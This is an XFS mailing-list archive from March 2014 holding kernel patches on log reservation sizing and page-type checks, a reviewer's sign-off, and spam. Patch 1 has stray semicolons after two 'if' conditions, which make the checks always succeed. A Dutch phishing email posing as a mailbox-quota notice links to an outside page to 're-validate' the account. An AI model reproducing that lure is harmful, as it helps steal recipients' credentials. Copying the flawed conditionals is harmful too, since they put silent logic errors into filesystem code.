Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5997B7F4E for ; Tue, 4 Mar 2014 19:12:04 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3EBA58F8089 for ; Tue, 4 Mar 2014 17:12:01 -0800 (PST) X-ASG-Debug-ID: 1393981919-04cbb054b772830001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 2r90VfDZ9LgPZUtQ for ; Tue, 04 Mar 2014 17:11:59 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AshOACZ5FlN5LJYePGdsb2JhbABagwaIULpnFwMBAQEBHxkNKIIlAQEFJy8zCBgYGTkDBxQZh3jNeBeOYgyEIgSuKCg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 05 Mar 2014 11:41:38 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WL0My-0000ec-7G for xfs@oss.sgi.com; Wed, 05 Mar 2014 12:11:36 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WL0My-0000ST-6K for xfs@oss.sgi.com; Wed, 05 Mar 2014 12:11:36 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/2] xfs: inode log reservations are still too small Date: Wed, 5 Mar 2014 12:11:33 +1100 X-ASG-Orig-Subj: [PATCH 2/2] xfs: inode log reservations are still too small Message-Id: <1393981893-2497-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1393981893-2497-1-git-send-email-david@fromorbit.com> References: <1393981893-2497-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393981919 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3602 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Back in commit 23956703 ("xfs: inode log reservations are too small"), the reservation size was increased to take into account the difference in size between the in-memory BMBT block headers and the on-disk BMDR headers. This solved a transaction overrun when logging the inode size. Recently, however, we've seen a number of these same overruns on kernels with the above fix in it. All of them have been by 4 bytes, so we must still not be accounting for something correctly. Through inspection it turns out the above commit didn't take into account everything it should have. That is, it only accounts for a single log op_hdr structure, when it can actually require up to four op_hdrs - one for each region (log iovec) that is formatted. These regions are the inode log format header, the inode core, and the two forks that can be held in the literal area of the inode. This means we are not accounting for 36 bytes of log space that the transaction can use, and hence when we get inodes in certain formats with particular fragmentation patterns we can overrun the transaction. Fix this by adding the correct accounting for log op_headers in the transaction. Signed-off-by: Dave Chinner --- fs/xfs/xfs_trans_resv.c | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index 8515b04..d2c8e4a 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -81,20 +81,28 @@ xfs_calc_buf_res( * on disk. Hence we need an inode reservation function that calculates all this * correctly. So, we log: * - * - log op headers for object + * - 4 log op headers for object + * - for the ilf, the inode core and 2 forks * - inode log format object - * - the entire inode contents (core + 2 forks) - * - two bmap btree block headers + * - the inode core + * - two inode forks containing bmap btree root blocks. + * - the btree data contained by both forks will fit into the inode size, + * hence when combined with the inode core above, we have a total of the + * actual inode size. + * - the BMBT headers need to be accounted separately, as they are + * additional to the records and pointers that fit inside the inode + * forks. */ STATIC uint xfs_calc_inode_res( struct xfs_mount *mp, uint ninodes) { - return ninodes * (sizeof(struct xlog_op_header) + - sizeof(struct xfs_inode_log_format) + - mp->m_sb.sb_inodesize + - 2 * XFS_BMBT_BLOCK_LEN(mp)); + return ninodes * + (4 * sizeof(struct xlog_op_header) + + sizeof(struct xfs_inode_log_format) + + mp->m_sb.sb_inodesize + + 2 * XFS_BMBT_BLOCK_LEN(mp)); } /* -- 1.9.0 From dave@fromorbit.com Tue Mar 4 19:12:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8685D7F50 for ; Tue, 4 Mar 2014 19:12:04 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4F5358F808E for ; Tue, 4 Mar 2014 17:12:01 -0800 (PST) X-ASG-Debug-ID: 1393981917-04bdf05daa284aa0002-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id L2btRF58EcridUN5 for ; Tue, 04 Mar 2014 17:11:58 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AshOACZ5FlN5LJYePGdsb2JhbABagwaIULpnFwMBAQEBHxkNKIIlAQEFJyAPMwgYMTkDBxQZh3ixNpxCF415hRcEoxCLGCiBLA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 05 Mar 2014 11:41:38 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WL0My-0000eb-6p for xfs@oss.sgi.com; Wed, 05 Mar 2014 12:11:36 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WL0My-0000SL-5y for xfs@oss.sgi.com; Wed, 05 Mar 2014 12:11:36 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/2] xfs: xfs_check_page_type buffer checks need help Date: Wed, 5 Mar 2014 12:11:32 +1100 X-ASG-Orig-Subj: [PATCH 1/2] xfs: xfs_check_page_type buffer checks need help Message-Id: <1393981893-2497-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1393981893-2497-1-git-send-email-david@fromorbit.com> References: <1393981893-2497-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393981918 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3603 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner xfs_aops_discard_page() was introduced in the following commit: xfs: truncate delalloc extents when IO fails in writeback ... to clean up left over delalloc ranges after I/O failure in ->writepage(). generic/224 tests for this scenario and occasionally reproduces panics on sub-4k blocksize filesystems. The cause of this is failure to clean up the delalloc range on a page where the first buffer does not match one of the expected states of xfs_check_page_type(). If a buffer is not unwritten, delayed or dirty&mapped, xfs_check_page_type() stops and immediately returns 0. The stress test of generic/224 creates a scenario where the first several buffers of a page with delayed buffers are mapped & uptodate and some subsequent buffer is delayed. If the ->writepage() happens to fail for this page, xfs_aops_discard_page() incorrectly skips the entire page. This then causes later failures either when direct IO maps the range and finds the stale delayed buffer, or we evict the inode and find that the inode still has a delayed block reservation accounted to it. We can easily fix this xfs_aops_discard_page() failure by making xfs_check_page_type() check all buffers, but this breaks xfs_convert_page() more than it is already broken. Indeed, xfs_convert_page() wants xfs_check_page_type() to tell it if the first buffers on the pages are of a type that can be aggregated into the contiguous IO that is already being built. xfs_convert_page() should not be writing random buffers out of a page, but the current behaviour will cause it to do so if there are buffers that don't match the current specification on the page. Hence for xfs_convert_page() we need to: a) return "not ok" if the first buffer on the page does not match the specification provided to we don't write anything; and b) abort it's buffer-add-to-io loop the moment we come across a buffer that does not match the specification. Hence we need to fix both xfs_check_page_type() and xfs_convert_page() to work correctly with pages that have mixed buffer types, whilst allowing xfs_aops_discard_page() to scan all buffers on the page for a type match. Reported-by: Brian Foster Signed-off-by: Dave Chinner --- fs/xfs/xfs_aops.c | 81 ++++++++++++++++++++++++++++++++++--------------------- 1 file changed, 50 insertions(+), 31 deletions(-) diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index ef62c6b..98016b3 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -632,38 +632,46 @@ xfs_map_at_offset( } /* - * Test if a given page is suitable for writing as part of an unwritten - * or delayed allocate extent. + * Test if a given page contains at least one buffer of a given @type. + * If @check_all_buffers is true, then we walk all the buffers in the page to + * try to find one of the type passed in. If it is not set, then the caller only + * needs to check the first buffer on the page for a match. */ -STATIC int +STATIC bool xfs_check_page_type( struct page *page, - unsigned int type) + unsigned int type, + bool check_all_buffers) { - if (PageWriteback(page)) - return 0; + struct buffer_head *bh; + struct buffer_head *head; - if (page->mapping && page_has_buffers(page)) { - struct buffer_head *bh, *head; - int acceptable = 0; + if (PageWriteback(page)) + return false; + if (!page->mapping) + return false; + if (!page_has_buffers(page)) + return false; - bh = head = page_buffers(page); - do { - if (buffer_unwritten(bh)) - acceptable += (type == XFS_IO_UNWRITTEN); - else if (buffer_delay(bh)) - acceptable += (type == XFS_IO_DELALLOC); - else if (buffer_dirty(bh) && buffer_mapped(bh)) - acceptable += (type == XFS_IO_OVERWRITE); - else - break; - } while ((bh = bh->b_this_page) != head); + bh = head = page_buffers(page); + do { + if (buffer_unwritten(bh)) { + if (type == XFS_IO_UNWRITTEN) + return true; + } else if (buffer_delay(bh)) { + if (type == XFS_IO_DELALLOC); + return true; + } else if (buffer_dirty(bh) && buffer_mapped(bh)) { + if (type == XFS_IO_OVERWRITE); + return true; + } - if (acceptable) - return 1; - } + /* If we are only checking the first buffer, we are done now. */ + if (!check_all_buffers) + break; + } while ((bh = bh->b_this_page) != head); - return 0; + return false; } /* @@ -697,7 +705,7 @@ xfs_convert_page( goto fail_unlock_page; if (page->mapping != inode->i_mapping) goto fail_unlock_page; - if (!xfs_check_page_type(page, (*ioendp)->io_type)) + if (!xfs_check_page_type(page, (*ioendp)->io_type, false)) goto fail_unlock_page; /* @@ -742,6 +750,15 @@ xfs_convert_page( p_offset = p_offset ? roundup(p_offset, len) : PAGE_CACHE_SIZE; page_dirty = p_offset / len; + /* + * The moment we find a buffer that doesn't match our current type + * specification or can't be written, abort the loop and start + * writeback. As per the above xfs_imap_valid() check, only + * xfs_vm_writepage() can handle partial page writeback fully - we are + * limited here to the buffers that are contiguous with the current + * ioend, and hence a buffer we can't write breaks that contiguity and + * we have to defer the rest of the IO to xfs_vm_writepage(). + */ bh = head = page_buffers(page); do { if (offset >= end_offset) @@ -750,7 +767,7 @@ xfs_convert_page( uptodate = 0; if (!(PageUptodate(page) || buffer_uptodate(bh))) { done = 1; - continue; + break; } if (buffer_unwritten(bh) || buffer_delay(bh) || @@ -762,10 +779,11 @@ xfs_convert_page( else type = XFS_IO_OVERWRITE; - if (!xfs_imap_valid(inode, imap, offset)) { - done = 1; - continue; - } + /* + * imap should always be valid because of the above + * partial page end_offset check on the imap. + */ + ASSERT(xfs_imap_valid(inode, imap, offset)); lock_buffer(bh); if (type != XFS_IO_OVERWRITE) @@ -777,6 +795,7 @@ xfs_convert_page( count++; } else { done = 1; + break; } } while (offset += len, (bh = bh->b_this_page) != head); @@ -868,7 +887,7 @@ xfs_aops_discard_page( struct buffer_head *bh, *head; loff_t offset = page_offset(page); - if (!xfs_check_page_type(page, XFS_IO_DELALLOC)) + if (!xfs_check_page_type(page, XFS_IO_DELALLOC, true)) goto out_invalidate; if (XFS_FORCED_SHUTDOWN(ip->i_mount)) -- 1.9.0 From dave@fromorbit.com Tue Mar 4 19:12:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 486437F58 for ; Tue, 4 Mar 2014 19:12:08 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D8FABAC006 for ; Tue, 4 Mar 2014 17:12:04 -0800 (PST) X-ASG-Debug-ID: 1393981917-04bdf05daa284aa0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id cEUpzYWapyoBzXbe for ; Tue, 04 Mar 2014 17:11:57 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgdiACZ5FlN5LJYePGdsb2JhbABagwY7qHwEmXwXAwEBAQEfGQ0ogwI7gQIDB4glDp17sAaMV4IXhCIErCaCAig Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 05 Mar 2014 11:41:38 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WL0My-0000ea-6R for xfs@oss.sgi.com; Wed, 05 Mar 2014 12:11:36 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WL0My-0000S9-5H for xfs@oss.sgi.com; Wed, 05 Mar 2014 12:11:36 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/2] xfs: more bug fixes Date: Wed, 5 Mar 2014 12:11:31 +1100 X-ASG-Orig-Subj: [PATCH 0/2] xfs: more bug fixes Message-Id: <1393981893-2497-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393981917 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3603 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, The first patch here fixes the issue that Brian first reported and posted a candidate fix for here: http://oss.sgi.com/pipermail/xfs/2014-February/034667.html It fixes the problems with xfs_check_page_type() and xfs_convert_page() as well. The second is a fix for a transaction overrun problem that has been showing up on RHEL7 kernels quite frequently of late. It has been reproduced on upstream kernels as well, and the patch should address the oversight made in previous fixes to the inode reservation size calculation. Cheers, Dave. From sandeen@sandeen.net Tue Mar 4 21:33:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B5D797F53 for ; Tue, 4 Mar 2014 21:33:28 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8A105304048 for ; Tue, 4 Mar 2014 19:33:28 -0800 (PST) X-ASG-Debug-ID: 1393990403-04bdf05da928af50001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id L9pL2LBp1Fa0VvF5 for ; Tue, 04 Mar 2014 19:33:23 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 2859960003C4; Tue, 4 Mar 2014 21:33:23 -0600 (CST) Message-ID: <53169B02.1030709@sandeen.net> Date: Tue, 04 Mar 2014 21:33:22 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 2/2] xfs: inode log reservations are still too small References: <1393981893-2497-1-git-send-email-david@fromorbit.com> <1393981893-2497-3-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 2/2] xfs: inode log reservations are still too small In-Reply-To: <1393981893-2497-3-git-send-email-david@fromorbit.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393990403 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3607 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 3/4/14, 7:11 PM, Dave Chinner wrote: > From: Dave Chinner > > Back in commit 23956703 ("xfs: inode log reservations are too > small"), the reservation size was increased to take into account the > difference in size between the in-memory BMBT block headers and the > on-disk BMDR headers. This solved a transaction overrun when logging > the inode size. > > Recently, however, we've seen a number of these same overruns on > kernels with the above fix in it. All of them have been by 4 bytes, > so we must still not be accounting for something correctly. > > Through inspection it turns out the above commit didn't take into > account everything it should have. That is, it only accounts for a > single log op_hdr structure, when it can actually require up to four > op_hdrs - one for each region (log iovec) that is formatted. These > regions are the inode log format header, the inode core, and the two > forks that can be held in the literal area of the inode. > > This means we are not accounting for 36 bytes of log space that the > transaction can use, and hence when we get inodes in certain formats > with particular fragmentation patterns we can overrun the > transaction. Fix this by adding the correct accounting for log > op_headers in the transaction. > > Signed-off-by: Dave Chinner Makes sense to me; Reviewed-by: Eric Sandeen > --- > fs/xfs/xfs_trans_resv.c | 22 +++++++++++++++------- > 1 file changed, 15 insertions(+), 7 deletions(-) > > diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c > index 8515b04..d2c8e4a 100644 > --- a/fs/xfs/xfs_trans_resv.c > +++ b/fs/xfs/xfs_trans_resv.c > @@ -81,20 +81,28 @@ xfs_calc_buf_res( > * on disk. Hence we need an inode reservation function that calculates all this > * correctly. So, we log: > * > - * - log op headers for object > + * - 4 log op headers for object > + * - for the ilf, the inode core and 2 forks > * - inode log format object > - * - the entire inode contents (core + 2 forks) > - * - two bmap btree block headers > + * - the inode core > + * - two inode forks containing bmap btree root blocks. > + * - the btree data contained by both forks will fit into the inode size, > + * hence when combined with the inode core above, we have a total of the > + * actual inode size. > + * - the BMBT headers need to be accounted separately, as they are > + * additional to the records and pointers that fit inside the inode > + * forks. > */ > STATIC uint > xfs_calc_inode_res( > struct xfs_mount *mp, > uint ninodes) > { > - return ninodes * (sizeof(struct xlog_op_header) + > - sizeof(struct xfs_inode_log_format) + > - mp->m_sb.sb_inodesize + > - 2 * XFS_BMBT_BLOCK_LEN(mp)); > + return ninodes * > + (4 * sizeof(struct xlog_op_header) + > + sizeof(struct xfs_inode_log_format) + > + mp->m_sb.sb_inodesize + > + 2 * XFS_BMBT_BLOCK_LEN(mp)); > } > > /* > From Evelinn.Mikkelsen@radboudumc.nl Wed Mar 5 03:31:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 749F07F4E for ; Wed, 5 Mar 2014 03:31:55 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 016E2AC009 for ; Wed, 5 Mar 2014 01:31:54 -0800 (PST) X-ASG-Debug-ID: 1394011908-04cbb054b88ae30001-NocioJ Received: from co9outboundpool.messaging.microsoft.com (co9ehsobe004.messaging.microsoft.com [207.46.163.27]) by cuda.sgi.com with ESMTP id SboOHBPbImrGrwf1 (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Wed, 05 Mar 2014 01:31:49 -0800 (PST) X-Barracuda-Envelope-From: Evelinn.Mikkelsen@radboudumc.nl X-Barracuda-Apparent-Source-IP: 207.46.163.27 Received: from mail175-co9-R.bigfish.com (10.236.132.227) by CO9EHSOBE019.bigfish.com (10.236.130.82) with Microsoft SMTP Server id 14.1.225.22; Wed, 5 Mar 2014 09:01:37 +0000 Received: from mail175-co9 (localhost [127.0.0.1]) by mail175-co9-R.bigfish.com (Postfix) with ESMTP id 3F90F9C0272; Wed, 5 Mar 2014 09:01:36 +0000 (UTC) X-Forefront-Antispam-Report: CIP:131.174.165.7;KIP:(null);UIP:(null);IPV:NLI;H:umcsmtp01.extern.umcn.nl;RD:umcsmtp01.extern.umcn.nl;EFVD:NLI X-SpamScore: 10 X-BigFish: VPS10(zzc89bhc85dhzz1f42h208ch1ee6h1de0h1d18h1fdah2073h2146h1202h1e76h2189h1d1ah1d2ah21bch21a7h1fc6hzz17326ah8275bh18c673h1de097h186068h1954cbh1df0b3oz2fh109h839hd25hf0ah1288h12a5h12bdh137ah1441h14ddh1504h1537h153bh15d0h162dh1631h1758h18e1h1946h19b5h1b0ah1bceh224fh1d0ch1d2eh1d3fh1dc1h1dfeh1dffh1e1dh1fe8h1ff5h20f0h2216h2336h2438h2461h2487h24d7h2516h2545h255eh25f6h1724k1155h) Received-SPF: pass (mail175-co9: domain of radboudumc.nl designates 131.174.165.7 as permitted sender) client-ip=131.174.165.7; envelope-from=Evelinn.Mikkelsen@radboudumc.nl; helo=umcsmtp01.extern.umcn.nl ;tern.umcn.nl ; Received: from mail175-co9 (localhost.localdomain [127.0.0.1]) by mail175-co9 (MessageSwitch) id 1394010095604620_28124; Wed, 5 Mar 2014 09:01:35 +0000 (UTC) Received: from CO9EHSMHS022.bigfish.com (unknown [10.236.132.228]) by mail175-co9.bigfish.com (Postfix) with ESMTP id 8FCBD180065; Wed, 5 Mar 2014 09:01:35 +0000 (UTC) Received: from umcsmtp01.extern.umcn.nl (131.174.165.7) by CO9EHSMHS022.bigfish.com (10.236.130.32) with Microsoft SMTP Server id 14.16.227.3; Wed, 5 Mar 2014 09:01:35 +0000 Received: from UMCEXCAS01.umcn.nl ([131.174.244.48]) by umcsmtp01.extern.umcn.nl with Microsoft SMTPSVC(6.0.3790.4675); Wed, 5 Mar 2014 10:01:34 +0100 Received: from UMCEXMBX12.umcn.nl ([169.254.4.175]) by UMCEXCAS01.umcn.nl ([10.48.3.159]) with mapi id 14.03.0174.001; Wed, 5 Mar 2014 10:01:25 +0100 From: Subject: Belangrijke (Controleer uw e-mail) Thread-Topic: Belangrijke (Controleer uw e-mail) X-ASG-Orig-Subj: Belangrijke (Controleer uw e-mail) Thread-Index: Ac84UXsigY77rNwdRm6sjw4w3XbY7g== Date: Wed, 5 Mar 2014 09:01:24 +0000 Message-ID: Accept-Language: en-GB, nl-NL, en-US Content-Language: en-GB X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.11.13.11] Content-Type: multipart/alternative; boundary="_000_A049FEF496251041BFAA9AAAC731134FBF3394F8UMCEXMBX12umcnn_" MIME-Version: 1.0 X-OriginalArrivalTime: 05 Mar 2014 09:01:34.0229 (UTC) FILETIME=[820ADC50:01CF3851] To: Undisclosed recipients:; X-OriginatorOrg: radboudumc.nl X-FOPE-CONNECTOR: Id%0$Dn%*$RO%0$TLS%0$FQDN%$TlsDn% X-Barracuda-Connect: co9ehsobe004.messaging.microsoft.com[207.46.163.27] X-Barracuda-Start-Time: 1394011908 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, NO_REAL_NAME, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3614 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.00 NO_REAL_NAME From: does not include a real name 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 HTML_MESSAGE BODY: HTML included in message --_000_A049FEF496251041BFAA9AAAC731134FBF3394F8UMCEXMBX12umcnn_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Uw mailbox is het opslag limiet overschreden zoals ingesteld door uw beheer= der en u zult niet in staat zijn om nieuwe mails te ontvangen totdat u opni= euw valideren. Opnieuw te valideren -> kopi=EBren of klik hier http://dutch= 65644e.yolasite.com Het Radboudumc staat geregistreerd bij de Kamer van Koophandel in het hande= lsregister onder nummer 41055629. The Radboud university medical center is listed in the Commercial Register = of the Chamber of Commerce under file number 41055629. --_000_A049FEF496251041BFAA9AAAC731134FBF3394F8UMCEXMBX12umcnn_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Uw mailbox is het opslag limiet overschreden zoals ingesteld door uw b= eheerder en u zult niet in staat zijn om nieuwe mails te ontvangen totdat u= opnieuw valideren. Opnieuw te valideren -> kopi=EBren of klik hier http= ://dutch65644e.yolasite.com

=0D =0D

=0D =0D Het Radboudumc staat geregistreerd bij de Kamer van Koophandel in het hand= elsregister onder nummer 41055629.
The Radboud university medical cente= r is listed in the Commercial Register of the Chamber of Commerce under fil= e number 41055629.
=0D

=0D =0D =0D --_000_A049FEF496251041BFAA9AAAC731134FBF3394F8UMCEXMBX12umcnn_-- From bronislav_barkhonina1986@myrambler.ru Wed Mar 5 08:02:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.6 required=5.0 tests=HTML_IMAGE_ONLY_08, HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2F4087F3F for ; Wed, 5 Mar 2014 08:02:13 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0AEA930406A for ; Wed, 5 Mar 2014 06:02:09 -0800 (PST) X-ASG-Debug-ID: 1394028124-04cb6c567528f2c0001-NocioJ Received: from bug.itass.su (bug.itass.su [212.83.24.23]) by cuda.sgi.com with SMTP id OOMsPvqR8ICMf27R for ; Wed, 05 Mar 2014 06:02:06 -0800 (PST) X-Barracuda-Envelope-From: bronislav_barkhonina1986@myrambler.ru X-Barracuda-Apparent-Source-IP: 212.83.24.23 Received: from [91.121.95.51] (account alex@amik.ru HELO Unknown) by bug.itass.su (CommuniGate Pro SMTP 5.4.1) with ESMTPSA id 28912; Wed, 05 Mar 2014 18:01:14 +0400 Received-SPF: none receiver=bug.itass.su; client-ip=91.121.95.51; envelope-from=bronislav_barkhonina1986@myrambler.ru MessageID: <4C08CFDD7FD5453B98BDF2605F2F1A8A@wndjp> Reply-To: =?windows-1251?B?weDp8eDw7uLo9w==?= From: =?windows-1251?B?weDp8eDw7uLo9w==?= To: , , , , , Subject: =?windows-1251?B?RndkOjQ0M1/g8e/l6vJf7/DuX+Tu9e7k?= Date: Wed, 5 Mar 2014 18:00:34 +0400 